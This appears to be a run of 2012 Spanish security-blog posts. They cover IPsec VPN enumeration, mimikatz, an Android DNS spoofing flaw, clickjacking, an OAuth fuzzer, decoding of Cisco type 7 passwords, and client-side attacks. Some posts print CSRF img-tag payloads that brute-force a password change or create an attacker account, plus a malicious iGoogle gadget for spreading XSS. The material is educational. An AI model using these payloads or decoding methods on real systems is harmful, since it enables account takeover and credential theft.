$ sudo ike-scan --multiline 10.48.226.228
10.48.226.228   Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=03c337535f8887a3)

En este caso, vemos que el servidor nos devuelve una notificación con el mensaje NO-PROPOSAL-CHOSEN. Esto significa que el servicio está ahí pero estamos en alguno de los dos siguientes escenarios:

El servidor de VPNs tiene filtrado por IP, por lo que no nos podremos conectar mientras no sea desde alguna de las que tiene en su lista de direcciones permitidas.
No estamos usando ninguna transform soportada por el servidor.

Fíjate que he dicho "ninguna" y no "una". Esto es así porque por defecto, ike-scan envía 8 transforms para que el servidor escoja una. Las opciones que manda son las ocho combinaciones posibles que salen con los siguientes parámetros:

Para algoritmo de cifrado: DES y 3DES
Para algoritmo de hash: MD5 y SHA-1
Para grupo de Diffie-Hellman: 1 (modp768) y 2 (modp1024)

Además, el método de autenticación siempre es PSK y la duración del túnel (SA Lifetime) 28800 segundos.

Si nos encontráramos en este caso, tendríamos que probar diferentes transforms hasta que diéramos con la adecuada. Si no lo conseguimos, entonces no hay mucho más que hacer porque estaríamos en el caso de que existe una lista de IPs permitidas desde las que se puede establecer la conexión con el servidor.

Pero en este caso, en el que el servidor de VPN nos devuelva una notificación, ¿nmap también detecta el servicio? Pues la respuesta es que no siempre:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.228

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 17:16 CET
Nmap scan report for 10.48.226.228
Host is up (0.43s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp?

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.35 seconds

Sí, nos dice que el puerto está abierto, pero no es capaz de identificar el servicio. Moraleja: cuando tengas duda de si realmente es un servicio VPN, utiliza ike-scan.

Nota: El cómo probar con diferentes transforms lo veremos más adelante, en la cuarta entrega, cuando hablemos del cifrado.

En la próxima parte veremos cómo identificar el tipo de servidor que está sirviendo el servicio de VPN.

Auditando VPNs (I): Introducción a IPsec

2012-10-31T08:30:00.000+01:00

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Durante las auditorías externas es muy común encontrarse con concentradores de VPN y no siempre sabemos qué tipo de pruebas realizar sobre estos sistemas.

En una serie de entradas voy a tratar las pruebas más frecuentes que se deben realizar sobre este tipo de dispositivos, centrándonos siempre en las VPN basadas en IPsec (no las basadas en SSL).

En esta entrada voy a comenzar hablando por el principio, introduciendo los conceptos básicos con los que trataremos en el resto de entradas.

Según Wikipedia, IPsec (Internet Protocol security) es un conjunto de protocolos cuya función es asegurar las comunicaciones sobre el Protocolo de Internet (IP) autenticando y/o cifrando cada paquete IP en un flujo de datos además de proveer de un mecanismo para el establecimiento de claves de cifrado.

IPsec, por tanto, está formado por tres protocolos:

Authentication Header (AH): Este protocolo se utiliza para proporcionar integridad a nivel de paquete por medio de un checksum que se envía junto al paquete. Otros servicios que proporciona son autenticación del origen de los datos y, opcionalmente, protección frente a ataques de replay.
Encapsulating Security Payload (ESP): Este protocolo cifra la comunicación punto a punto, proporcionando confidencialidad. También proporciona autenticación del origen de los datos, protección frente a ataques de replay e integridad.
Internet Key Exchange (IKE): Es el encargado de llevar a cabo el intercambio de claves que serán utilizadas por cualquiera de los otros dos protocolos.

De la información anterior nos quedamos con que:

IKE se ejecuta primero y, de llegar a realizar correctamente la autenticación, entonces se realiza un túnel (ESP) o simplemente se autentican los paquetes (AH). Por lo que frente a un concentrador de VPNs, tendremos que comenzar analizando el protocolo IKE.
AH no cifra las comunicaciones. Tan sólo ESP proporciona cifrado. Por lo que si la VPN funcionara tan sólo con AH, no se estaría cifrando ninguna comunicación entre los clientes y el concentrador de VPNs.

El protocolo IKE funciona en dos fases. En la primera de ellas, se lleva a cabo la autenticación y se crea un canal seguro que será utilizado durante la fase dos. En la segunda fase se configura un canal diferente que será el utilizado para todas las comunicaciones realizadas a través de ESP o AH.

La primera de las fases IKE, soporta dos modos de funcionamiento diferentes: el Main Mode y el Aggressive Mode. El Main Mode es el modo principal (evidentemente) y todos los concentradores de VPN deben soportarlo. En este modo se utiliza el algoritmo Diffie-Hellman para llevar a cabo el intercambio de claves entre el cliente y el servidor.

El Aggressive Mode, a diferencia, no tiene por qué estar implementado en todos los servidores de VPN y se suele utilizar para permitir el uso de claves pre-compartidas (Pre-Shared Key, PSK), ~~ya que el Main Mode no soporta el uso de PSK~~ (actualización 27/01/2014: El Main Mode sí soporta PSK, aunque es menos habitual que en el Aggressive Mode). Este modo tiene ciertas debilidades que iremos viendo a lo largo del resto de entradas.

Publicado el código fuente de mimikatz

2012-08-02T12:12:00.000+02:00

Hace ya un tiempo que descubrí la herramienta mimikatz pero no había nunca escrito sobre ella porque ya lo hicismos desde aquí y no quería repetir la noticia. También la gente de SbD habló hace muy poco de ella.

El caso, es que a día de hoy la herramienta no es muy conocida. En parte porque su autor, que es un investigador francés, no ha querido traducirla a otro idioma, pero quizá también porque otra gente que ya tiene cierta influencia en este tipo de herramientas se ha dedicado a copiarla y a publicar sus propios derivados por los siete mares, dejando la original en el anonimato.

La herramienta, para quien no la conozca, permite recuperar las contraseñas en claro de todos los usuarios que hayan iniciado sesión en una máquina Windows. Esto significa que no hace falta recurrir al crackeo de los hashes o al Pass-the-Hash para acceder a otros sistemas.

Tiene más funcionalidades como exportar certificados digitales que están marcados con el flag de "No exportables", extraer el hash de los usuarios locales, realizar Pass-the-Hash, hacer trampas en el buscaminas sabiendo dónde están las minas antes de jugar (una de mis favoritas :D), etc. Recuerdo que para que pueda extraer las contraseñas en claro el usuario debe haber iniciado sesión, así que para el resto de usuarios serán necesarios los hashes y el resto del procedimiento que esto implica.

La buena noticia es, que depués de varias entradas en su blog explicando resumidamente cómo accedía a las contraseñas cifradas a través de WDigest y las descifraba utilizando la API de Windows, Gentilkiwi ha acabado publicando el código fuente de la herramienta:

https://code.google.com/p/mimikatz/

Desde luego es una buena noticia ya que nos permitirá adaptar la herramienta y utilizar sus técnicas en otros proyectos además de aprender su funcionamiento interno.

¿Qué os parece, ya tenéis alguna idea?

DNS Spoofing en Android (CVE-2012-2808)

2012-07-25T10:54:00.000+02:00

Ayer se publicó una vulnerabilidad de DNS Spoofing (CVE-2012-2808) que afecta a todos los dispositivos Android con versiones del sistema operativo 4.0.4 y anteriores (la última versión 4.1.1 Jelly Bean que a día de hoy tan sólo usa el Nexus 7 no es vulnerable a este ataque).

El ataque consiste en el uso de un algoritmo de generación de números pseudoaleatorios (PRNG) débil para calcular el puerto de origen del paquete que realiza la consulta DNS y el identificador TXID de dicha petición.

Recordando cómo funciona el protocolo DNS, cada vez que se realiza una consulta DNS se genera un paquete que tiene un identificador único, el TXID, y se envía desde un puerto origen diferente cada vez. Ambos valores deben de ser aleatorios para evitar que un posible atacante pueda responder al cliente antes de que lo haga el servidor DNS legítimo.

Ambos valores tienen una longitud de 32 bits que "asegura" que no se pueden predecir, pero investigadores de IBM han determinado que, con el algoritmo que utiliza Android, tan sólo 21 de esos bits son realmente aleatorios. La causa, que se utiliza la hora en milisegundos del dispositivos como una de las bases para generar el valor final. Esto unido a que cada consulta DNS tiene dos valores aleatorios (el TXID y el puerto) es relativamente sencillo estimar uno a partir del otro.

Es más, depués de un determinado tiempo (en la PoC que han realizado es de unos 10 minutos), es posible predecir con una certeza suficientemente alta los próximos valores. A partir de ese momento es cuando se produciría el ataque DNS Spoofing ya que el atacante podría comenzar a responder al dispositivo móvil con el TXID y en el puerto origen correctos.

Os dejo el vídeo con la PoC y el enlace con el advisory oficial:

Resumen: http://blog.watchfire.com/wfblog/2012/07/android-dns-poisoning-randomness-gone-bad-cve-2012-2808.html
Paper: http://blog.watchfire.com/files/androiddnsweakprng.pdf

Client Side Attacks (IV): Clickjacking

2012-07-01T07:00:00.000+02:00

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Clickjacking
  ****************************************************

Cerrando el tema que empecé hace ya tiempo sobre ataques del lado del cliente, hoy os voy a hablar del Clickjacking. Un concepto acuñado a finales de 2008 a partir de un paper publicado por Jeremiah Grossman y Robert Hansen.

El concepto de Clickjacking es bastante sencillo, tan sólo consiste en incluir una página (vulnerable) dentro de otra (que trata de sacar provecho de la primera) por medio de un iframe.

Imaginad una página web en la que se realice una determinada tarea pulsando sobre tres botones numerados del 1 al 3. Un sitio malicioso podría incluir en un iframe a la página anterior y situar sobre el mismo iframe un panel que lo oculte con un contenido atractivo que haga que el usuario pulse en los botones en el orden que debe de hacerlo.

Para seguir con el ejemplo, se podría solicitar al usuario que pulsara sobre los tres robots por orden: azul, rojo, verde (una vez se cuadraran ambos marcos):

Ejemplo de Clickjacking.

Como os decía, el concepto es muy simple, el problema es llevarlo a la práctica ya que no basta con identificar sitios vulnerables, sino crear un contenido que resulte interesante a una posible víctima para que caiga en el engaño y ejecute la tarea oculta.

Algunos ejemplos de posibles usos son hacer que se pulse sobre anuncios de publicidad (muchas empresas de publicidad pagan por pulsaciones), sobre botones "+1" o "Me gusta" (lo que se conoce como Likejacking), etc.

Un ejemplo más interesante es el del siguiente vídeo, que bien podría ser un jueguecillo de matar marcianos, bastante cutre, en el que hay que ir pulsando sobre cada una de las naves que van apareciendo de manera aleatoria en el espacio:

Ahora vemos lo que realmente está sucediendo cada vez que el usuario hace un click sobre cada una de las naves:

Como veis, lo que el usuario está realmente haciendo es:

Habilitar el chat de iGoogle
Agregar un nuevo contacto que ya le había mandado una invitación previa (éste sería el atacante).
Abrir un chat con el contacto que acaba de añadir.
Invitarle a realizar una video-llamada, lo que automáticamente acaba encendiendo la web cam del usuario cuando el atacante acepta la llamada.

Todo ello transcurre sin que el usuario sea consciente de lo que está haciendo...

Por desgracia, poca gente toma en serio esta vulnerabilidad y aun menos webmasters implementan medidas para evitarla (que pasa por incluir la cabecera HTTP X-Frame-Options en las URLs que se desean proteger).

¿A vosotros también os parece una vulnerabilidad que menospreciar?

OAuzz, el fuzzer de OAuth

2012-06-25T08:00:00.000+02:00

Después de todo este tiempo que he estado "desaparecido" por diversos motivos, he querido volver a lo grande, así que os presento en lo que he estado trabajando últimamente: OAuzz.

Hace ya un tiempo os presenté el protocolo de autenticación OAuth [1][2][3][4] y cómo de necesario era en la época actual, donde gran parte de las aplicaciones que podemos encontrar en markets usan servicios de otras grandes empresas (Google, Facebook, Twitter...) para ofrecer su servicio.

El acceso a los servicios finales suele llevarse a cabo por medio de APIs que los proveedores de servicio ofrecen y es ahí donde se exige OAuth para llevar a cabo la autenticación.

A la hora de tratar de analizar la seguridad de dichas APIs, nos encontramos un problema ya que cada petición tiene que ser firmada y hacerlo manualmente es realmente tedioso aunque existen herramientas que te ayudan a hacerlo... Creedme, pasar unos 3 minutos para generar cada petición hace que se te quiten las ganas de realizarlo de manera manual (lo he vivido).

Por ello me vi obligado a desarrollar OAuzz, un fuzzer que permite auditar aplicaciones basadas en OAuth, ya que ella sola se encarga de firmar todas las peticiones que va realizando.

Interfaz de OAuzz.

OAuzz proporciona una consola desde la que se van introduciendo los diversos comandos o se puede llamar haciendo referencia a un script en donde ya estén definidos dichos comandos:

Llamando a OAuzz con un script.

Al principio puede resultar un poco compleja, pero esto se debe a que hay que familiarizarse con los concepto de OAuth. Una vez se tenga claro cómo funciona el protocolo, OAuzz es muy sencilla de utilizar.

Realizando el fuzzing sobre una URL.

Podéis encontrar la herramienta y un pequeño manual de cómo utilizarla en su sitio de Google Code:

http://code.google.com/p/oauzz/

En las próximas semanas iré publicando más información sobre esta herramienta y su funcionamiento.

Cisco7 ¿encryption?

2012-03-20T07:30:00.000+01:00

De rato en rato, trato de sacar tiempo para ir desarrollando la versión 2.0 de findmyhash. Una de las muchas mejoras que tendrá la próxima versión es no consultar ningún servicio online para los algoritmos reversibles que soporta.

El algoritmo del que os voy a hablar hoy es uno de los que Cisco utiliza para cifrar las contraseñas que almacena en la configuración de sus dispositivos y que se suele conocer como Cisco 7 porque al consultar la configuración del dispositivo se muestra algo como:

username admin password 7 080d4d7604181714130e00083f2c253a

Donde el '7' indica el tipo de algoritmo utilizado.

Cisco 7 está basado en el cifrado de Vigenère, utilizando como clave la cadena:

d s f d ; k f o A , . i y e w r k l d J K D H S U B s g v c a 6 9 8 3 4 n c x

A primera vista podemos decir que es bastante robusta, por lo que alguno podría pensar que lo que se cifre con esta clave debería estar seguro. Pero recordemos que tan sólo estará seguro si no conociéramos la clave con la que se está cifrando y en este caso se utiliza la cadena anterior en TODOS los dispositivos Cisco... por lo que ahora veremos que no sirve de mucho.

Para descifrar la contraseña, vamos a trabajar siempre en hexadecimal, por lo utilizaremos tan sólo la versión codificada de la clave:

d	s	f	d	;	k	f	o	A	,
64	73	66	64	3b	6b	66	6f	41	2c
.	i	y	e	w	r	k	l	d	J
2e	69	79	65	77	72	6b	6c	64	4a
K	D	H	S	U	B	s	g	v	c
4b	44	48	53	55	42	73	67	76	63
a	6	9	8	3	4	n	c	x
61	36	39	38	33	34	6e	63	78

La contraseña cifrada que aparecía en el ejemplo con el que empezaba el post ya está en formato hexadecimal, así que la utilizaremos tal cual:

080d4d7604181714130e00083f2c253a

Esta contraseña se divide en dos partes, el primer byte (08) es un desplazamiento en la clave de cifrado. Es decir, en este caso vamos a obviar los 8 primeros caracteres de la clave, por lo que comenzaríamos en 412c2e69... y utilizaremos tantos caracteres como tiene la contraseña cifrada. Es decir, lo que en la tabla anterior he marcado en azul.

La segunda parte (el resto: 0d4d7604181714130e00083f2c253a) es la contraseña cifrada. Esta parte fue calculada con un XOR entre la contraseña original y la clave de cifrado, que en nuestro caso recordamos que empieza con un desplazamiento de 8 caracteres. Es decir:

Clave de cifrado:	41	2c	2e	69	79	65	77	72	6b	6c	64	4a	4b	44	48
Contraseña original:	??	??	??	??	??	??	??	??	??	??	??	??	??	??	??
	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--
Contraseña cifrada:	0d	4d	76	04	18	17	14	13	0e	00	08	3f	2c	25	3a

Como la operación XOR es reversible, nos basta con calcular el XOR entre la misma clave que se utilizó y la contraseña cifrada para obtener la contraseña en texto claro:

Clave de cifrado:	41	2c	2e	69	79	65	77	72	6b	6c	64	4a	4b	44	48
Contraseña cifrada:	0d	4d	76	04	18	17	14	13	0e	00	08	3f	2c	25	3a
	--	--	--	--	--	--	--	--	--	--	--	--	--	--	--
Contraseña original:	4C	61	58	6D	61	72	63	61	65	6C	6C	75	67	61	72

Que se corresponde con la cadena:

LaXmarcaellugar

Como veis, aunque la contraseña se almacena cifrada, no sirve de mucho si el algoritmo que se utiliza es reversible y la clave de cifrado conocida.

Ésta es la principal razón por la cual nunca se debe almacenar una contraseña cifrada (y mucho menos en texto claro...). En su lugar se debe almacenar el hash de la contraseña, utilizando alguna función como SHA-1 y tratando de evitar el uso del MD5, que se considera débil desde hace muchos años.

Client Side Attacks (III): Sacando Provecho

2012-02-28T07:00:00.000+01:00

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Otros ataques
  ****************************************************

En las con entradas anteriores hemos visto en qué consisten los ataques del lado del cliente y cómo hacernos con el control de los navegadores de nuestras víctimas. Ahora es el turno de ver cómo sacar provecho de estos navegadores una vez están bajo nuestro control.

Como ya dijimos también, el Cross Site Scripting (XSS) es el rey de los ataques del lado del cliente. Por ello voy a comenzar por él, continuando con el Cross Site Request Forgery (CSRF ó XSRF) y dejando otros ataques para la última entrada de la serie.

Uno de los problemas de explotar un XSS es que el exploit hay que programarlo en Javascript, que es un lenguaje que puede resultar un tanto desagradable para aquellos que no están acostumbrados a trabajar con él. Por suerte, del mismo modo que existe Metasploit para la explotación de (prácticamente todos los tipos de) exploits; para la explotación de XSS está BeEF, un potente framework que nos ofrece multitud de distintas posibilidades.

The Browser Exploitation Framework (BeEF)

El objetivo de esta entrada no es describir en profundidad esta herramienta, ya que ello me podría llevar varias entradas. Tan sólo voy a resumiros algunas de las posibilidades que ofrece y que, personalmente, considero de las más interesantes para nuestro propósito de hoy.

Partiendo de la hipótesis de que hubiéramos conseguido "infectar" a una serie de víctimas por medio de un Cross Site Scripting y dependiendo del navegador que éstas utilicen, BeEF nos permite:

Obtener información como la versión del sistema operativo y del navegador que utilizan los usuarios, además de los diferentes plugins que puedan tener instalados.

Modificar parte o todo el contenido del sitio web (Website Defacement) por el que la víctima está navegando y que se corresponde con el sitio en donde hemos conseguido explotar el XSS.

Analizar el sitio en busca de otras vulnerabilidades como inyecciones de código SQL o Cross Site Request Forgery (XSRF).

Analizar la red en la que se encuentra la víctima en busca de nuevos equipos y servidores y la posibilidad de realizarles un escáner de puertos. (Esto ya es bastante INTERESANTE).

Utilizar el navegador de la víctima como proxy para navegar dentro del dominio afectado por el XSS utilizando la sesión de la propia víctima (Session Hijacking).

Explotación de vulnerabilidades conocidas en servidores JBoss, vTiger CRM, algunos sistemas Linksys...

Integración con Metasploit para la explotación de todo tipo de exploits en los navegadores web de los usuarios.

Es decir, a partir de un ~~inocente~~ Cross Site Scripting en cualquier servidor podemos, por ejemplo, analizar la red local de un empleado de una empresa mediante barridos de ping y análisis de puertos, lo que desde el punto de vista de un pentester podría significar una primera impresión de la red.

Lógicamente, desde este mismo punto de vista es mucho más interesante la integración con Metasploit, que nos proporcionaría el paso que nos faltaría dar para entrar del todo al interior de la LAN corporativa.

Por desgracia, en los test de intrusión no es habitual que se permita atacar al usuario ya que esto normalmente está más pensado para auditorías técnicas que se mezclen con técnicas de Ingeniería Social.

Os dejo un vídeo algo largo, pero muy completo, para que veáis BeEF en acción y os anime a probarlo:

Cross Domain y Cross Site Request Forgery

Pasando a otro tipo de ataque, si decía que el XSS era el rey, podríamos decir que el Cross Site Request Forgery es casi la oveja negra de los ataques del lado de cliente. Esto no lo digo porque no sea útil ni peligroso, sino porque apenas se le hace caso o incluso se infravalora, ignorando el riesgo real de este tipo de ataque.

Para explicar en qué consiste voy a poneros como ejemplo la vulnerabilidad de XSRF que se detectó en Gmail allá por el 2009 por lo visual que es al encontrarse en un formulario de cambio de contraseña. Imaginad que al hacer un cambio de contraseña en Gmail, la URL que se enviara al servidor fuera la siguiente:

https://mail.google.com/changePassword?user=pepito&oldpassword=123456&newpassword=qwerty

Al saber que esta URL no está protegida de ataques de XSRF, podríamos hacer un ataque de fuerza bruta haciendo que nuestra víctima entre a una URL maliciosa en donde hubiera miles (es un ataque por diccionario) de tags HTML como los siguientes:

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass1&newpassword=mypassword" />

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass2&newpassword=mypassword" />

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass3&newpassword=mypassword" />

[...]

Al ser un tag "img", la URL que hay dentro del atributo "src" se acaba ejecutando para tratar de cargar la imagen pero, en este caso, lo que realmente se está haciendo es tratar de cambiar la contraseña del usuario "víctima" por una que nosotros conocemos (mypassword). Para ello, como veis, lo que se hace es ir cambiando el campo "oldpassword" de manera que si alguna de las que probamos da la casualidad que es la de nuestra víctima, Gmail creerá que es la víctima la que realmente está haciendo el cambio de contraseña y, por tanto, procederá al cambio. Habríamos robado la cuenta de correo de la víctima. (Imagino que no hace falta decir que esto ya está más que corregido... así que no hace falta que lo probéis (en Gmail)).

Vale, ya sabemos qué es eso del XSRF pero ¿y lo del Cross Domain? Pues bien, el Cross Domain es un ataque bastante antiguo por el cual se permitía acceder a través de Javascript (o cualquier otro lenguaje script) a información de otros dominios. Es decir, si el atacante tenía el dominio "atacante.com", podía incluir en su página web código script que accediera a Facebook y le enviara la cookie de sesión del usuario que había accedido.

Por ~~suerte~~, los navegadores modernos (cualquiera a partir de IE6 o FF2) implementan la política de mismo origen (same origin policy). Esta política evita que desde código script, ya sea Javascript, Flash o cualquier otra tecnología soportada por el navegador, se pueda acceder a páginas de diferentes dominios.

Pero existe un problema con la manera que tienen los navegadores de implementar esta política que hace que aún se pueda utilizar este viejo método para realizar ataques de tipo Cross Site Request Forgery. Me explico...

La mayoría de navegadores (al menos en los que lo he probado que han sido Chrome y Firefox), al realizar una petición con XMLHttpRequest a otro dominio, envían la petición correctamente al servidor en cuestión y es al recibir la respuesta cuando se produce una excepción que hace que no se pueda interpretar.

Esto, como digo, se puede utilizar para realizar peticiones a sitios que sean vulnerables a XSRF, ya sea por GET o por POST. De manera que si nos encontráramos con una Intranet vulnerable que tuviera una URL para crear usuario como:

http://www.intranet.com/admin/createUser?username=nuevousuario&password=[valor_md5]

Bastaría con incluir un fragmento de código Javascript como los de antes en una URL y hacer que el administrador de la Intranet vulnerable acceda a ella:

<img src="http://www.intranet.com/admin/createUser?username=attacker&password=5f4dcc3b5aa765d61d8327deb882cf99" />

En esta entrada hemos visto dos de los ataques del lado del cliente más peligrosos (y frecuentes), pero no son los únicos. Por lo que dejo para la próxima un ataque que, personalmente, me gusta bastante aunque resulte un tanto complejo de explotar en un entorno real... ¿adivináis cuál?

Client Side Attacks (II): Infectando Navegadores

2012-02-01T07:00:00.000+01:00

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Otros ataques
  ****************************************************

En la entrada anterior vimos en qué consistían los ataques del lado del cliente con un ejemplo práctico que permitía robar la sesión de un usuario que se viera afectado por un Cross Site Scripting. Pero, ¿cómo sacar provecho de este tipo de ataques en un caso real como podría ser un test de intrusión?

Teniendo en cuenta que hasta ahora nos estamos centrando únicamente en los XSS, cuando intentamos responder a la pregunta anterior, se nos plantean dos grandes problemas. El primero de ellos es tener el conocimiento suficiente de Javascript como para ser capaces de programar un exploit y el segundo es cómo conseguir infectar al mayor número de usuarios posible o al menos a aquellos que nos interesan para conseguir nuestro objetivo.

Esta entrada la voy a dedicar al segundo de estos problemas...

Infectando Navegadores

Lo habitual es pensar en enviar un correo electrónico o publicar el enlace en algún blog o red social para que la gente pinche sobre él. Pero en estos casos nos encontramos con el problema que ya planteamos en la entrada anterior con soft: en el momento que el usuario abandone la URL con el XSS inyectado, perderemos el control sobre el navegador del usuario.

Una manera de solucionarlo es publicar el código malicioso en sitios como foros (cada vez en más difícil encontrar foros vulnerables a Cross Site Scripting) o incluso en algún dominio que controlemos y atraer a los usuarios hasta él... Aunque puestos a desear, está claro que lo mejor es inyectar el código en donde los usuarios ya están y donde pasan la mayor parte de su tiempo; es decir, en las redes sociales o páginas de inicio típicas como motores de búsqueda o escritorios web.

Esto puede parecer bastante difícil. ¿Un Cross Site Scripting en Google? Sí, los hay, pero se puede obtener el mismo resultado de maneras más fáciles y, sobretodo, duraderas.

Yo, al igual que otra mucha gente que conozco, utilizo iGoogle como página de inicio. Tanto éste como otros escritorios web se componen de gagdets, que no son más que iframes con alguna URL dentro... Es decir, que si alguien se entretiene y publica un gadget con un contenido atractivo además del código malicioso y lo comienza a distribuir... es muy fácil que la gente se lo instale en su escritorio web y cada vez que entren (que debería ser bastante a menudo) tendremos nuestro script/exploit en sus navegadores.

Además, para compartir un gadget para iGoogle, ni siquiera hace falta publicarlo en su directorio de gadgets. Basta con distribuir una URL como la siguiente que, además, pertenece a Google y parece totalmente inofensiva, facilitando ser publicada y distribuida a través de redes sociales:

http://www.google.es/ig/directory?hl=es&type=gadgets&url=www.sitiomalicioso.com/gadget.xml

El contenido del fichero XML que muestra la URL anterior (gadget.xml) es el siguiente:

<?xml version="1.0" encoding="UTF-8" ?>
<Module>
    <ModulePrefs
        author="Attacker"
        author_email="fakemail@gmail.com"
        author_location="123 Fake Street"
        description="This gadget is a PoC for La X marca el lugar"
        title="La X marca el lugar Gadget!!"
        directory_title="La X marca el lugar Gadget!!"
        thumbnail="http://www.sitiomalicioso.com/LaX_trans.png">
        <Require feature="views" />
    </ModulePrefs>
    <Content type="url" view="home" href="http://www.sitiomalicioso.com/index.html" />
</Module>

Con él se definen cada uno de los campos que luego se muestran en la imagen anterior y se especifica (línea 13, tag Content) la URL que estará dentro del iframe del gadget final. Si os interesa saber más sobre cómo diseñar vuestros gadgets podéis consultarlo en la Guía del desarrollador de iGoogle.

Si desde la URL anterior pulsamos en el botón "Añadir ahora", el gadget se instala, pasando a formar parte de nuestro iGoogle:

Una vez instalado funciona como cualquier otro gadget "oficial", permitiendo incluso que los propios usuarios lo compartan por el procedimiento habitual desde el enlace que se proporciona en iGoogle.

Llevando esta idea un poco más al extremo y ya puestos... ¿por qué no implementar un jueguecillo de esos que enganchan para Facebook y que incluya nuestro script? Con un FarmVille o similar podríamos llegar a tener miles (millones) de usuarios infectados al cabo de unas semanas.

Por tanto, ya hemos conseguido solucionar el segundo de nuestros problemas. Infectar a muchos usuarios de una manera sencilla y sin llamar la atención con spam. En la próxima entrada, veremos qué hacer desde los navegadores una vez que ya los controlamos ;)

Client Side Attacks (I): Introducción

2012-01-16T07:00:00.000+01:00

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Otros ataques
  ****************************************************

Hace unas semanas publiqué un artículo en el número 1/12 de la revista Hakin9. En el artículo hablaba de cómo sacar provecho de vulnerabilidades del lado del cliente (XSS, CSRF, Cross Domain...). Para aquellos que no tengan acceso a la revista original o no se sientan cómodos leyendo en la lengua de Shakespeare, voy a contar en una serie de entradas la mayor parte de lo que trataba el artículo.

Para empezar, cuando en Seguridad Web nos referimos a Client Side Attacks, o Ataques del Lado del Cliente, nos estamos refiriendo a todas aquellas técnicas que permiten explotar una vulnerabilidad que afecta a los usuarios del servidor web.

Para entenderlo mejor, veamos dos ejemplos de inyección de código:

Una inyección de código SQL. En este caso, la vulnerabilidad afecta a una aplicación / base de datos que se encuentra en el servidor, por lo que esta vulnerabilidad se considera que es del lado del servidor.

Una inyección de código HTML / script (es decir, un Cross Site Scripting). En este caso, aunque la aplicación vulnerable se encuentra hospedada en el servidor (obvio), al explotar la vulnerabilidad, los que se ven afectados son los usuarios o clientes de la aplicación. Por ejemplo, si utilizáramos el XSS para modificar el contenido de una página web, el servidor no sufre cambio alguno pero los clientes que accedan a la URL con la inyección de código se verían afectados por la vulnerabilidad que no permitiría visualizar el contenido original. En este caso estamos ante una vulnerabilidad del lado del cliente.

Existen muchos tipos diferentes de ataques del lado del cliente aunque, sin duda alguna, el más conocido es el Cross Site Scripting (XSS).

Cuando la gente piensa en un XSS, suele pensar en una ventana de error con la palabra "XSS" o, como mucho, con la cookie del usuario:

Por este motivo, es habitual que los desarrolladores web o incluso los responsables de seguridad de las empresas no se tomen esta vulnerabilidad en serio y no consideren que merezca la pena invertir esfuerzos en corregirla.

Cierto es, que es muy llamativa para los medios de comunicación y muy fácil de distribuir. Por ello también es muy habitual encontrar noticias como ésta, de hace un par de años, en la que se afirma que han hackeado la web de la Presidencia Europea subiendo una foto de Mr. Bean. ¡Nada más lejos de la realidad! Como decía antes, los XSS no afectan a los servidores, por lo que ni el servidor ha sido "hackeado" ni se ha subido nada

Entonces... además de porque son divertidos y pueden llegar a ser un quebradero de cabeza si sale en algún medio de comunicación, ¿para qué pueden servir?

La primera posibilidad que os voy a mostrar es Shell of the Future (sotf), de Attack and Defense Labs. Una curiosa herramienta que te permite robar sesiones de usuario (Session Hijacking) de una manera interactiva y bastante cómoda.

La herramienta, desarrollada para Windows, consta de un servidor y de un proxy web que permiten la interacción con la misma. Pero lo más interesante de ella son dos scripts en Javascript que son los que hay que inyectar en el navegador de nuestras víctimas y que permiten robar la sesión de los usuarios. Los scripts envían toda la información necesaria al servidor web de soft, que es con el que nosotros, como atacantes, utilizamos.

Para que os hagáis una idea, el procedimiento es el siguiente:

Arrancaríamos el servidor web y el proxy.
Accederíamos a la consola de sotf pasando a través del proxy (que suele ser la URL http://127.0.0.1/sotf.console si dejamos la configuración por defecto).
Inyectamos alguno de los dos scripts en el navegador de nuestras víctimas. Por ejemplo publicando la URL con la inyección en un foro.

Una vez hecho esto, en la consola de sotf veríamos las sesiones de las víctimas que han pinchado en el enlace con la inyección y desde la misma consola podríamos elegir la que queremos suplantar. Al estar pasando por el proxy, es éste el que se encarga de sustituir nuestra cookie por la de la víctima, haciendo que el proceso de suplantación sea bastante transparente.

Lo mejor creo que es que la veáis en acción:

Lógicamente, la sesión tan sólo se mostrará en la consola de sotf mientras dure la inyección en la víctima. Es decir, que si el usuario "infectado" pulsa sobre cualquier enlace de la página y se sale de la URL maliciosa, dejaríamos de tener el control a través de sotf. Ésta es precisamente la diferencia entre los dos scripts. El que se llama "e1.js" no hace nada para resolver esto, por lo que es muy posible que la sesión nos dure poco. Sin embargo, "e2.js" hace que pulse donde pulse el usuario, abra una nueva pestaña en el navegador pasando el foco a esta pestaña y dejando la "infectada" en segundo plano. Con un poco (bastante en realidad) de suerte, el usuario no notará nada y permitiría mantener la sesión durante más tiempo.

Si probáis a jugar con la herramienta, veréis que tiene muchas deficiencias. No obstante, considero que es una herramienta interesante y, desde mi punto de vista, creo que puede ser útil para hacer presentaciones sobre lo que se puede llegar a hacer por medio de la explotación de un Cross Site Scripting.

Hasta aquí esta primera entrada, en la que os he presentado en qué consisten los ataques del lado del cliente con un ejemplo. A partir de la próxima entrada de la serie veremos cómo sacar más partido a este tipo de técnica tratando, además, de pasar desapercibidos.

Crackeando un Hash Cracker (Contribución)

2012-01-09T23:32:00.002+01:00

Los que sigáis a José Selvi en su blog "Pentester.es", habréis comprobado que he comenzado el año con una colaboración que vamos a publicar en varias entradas.

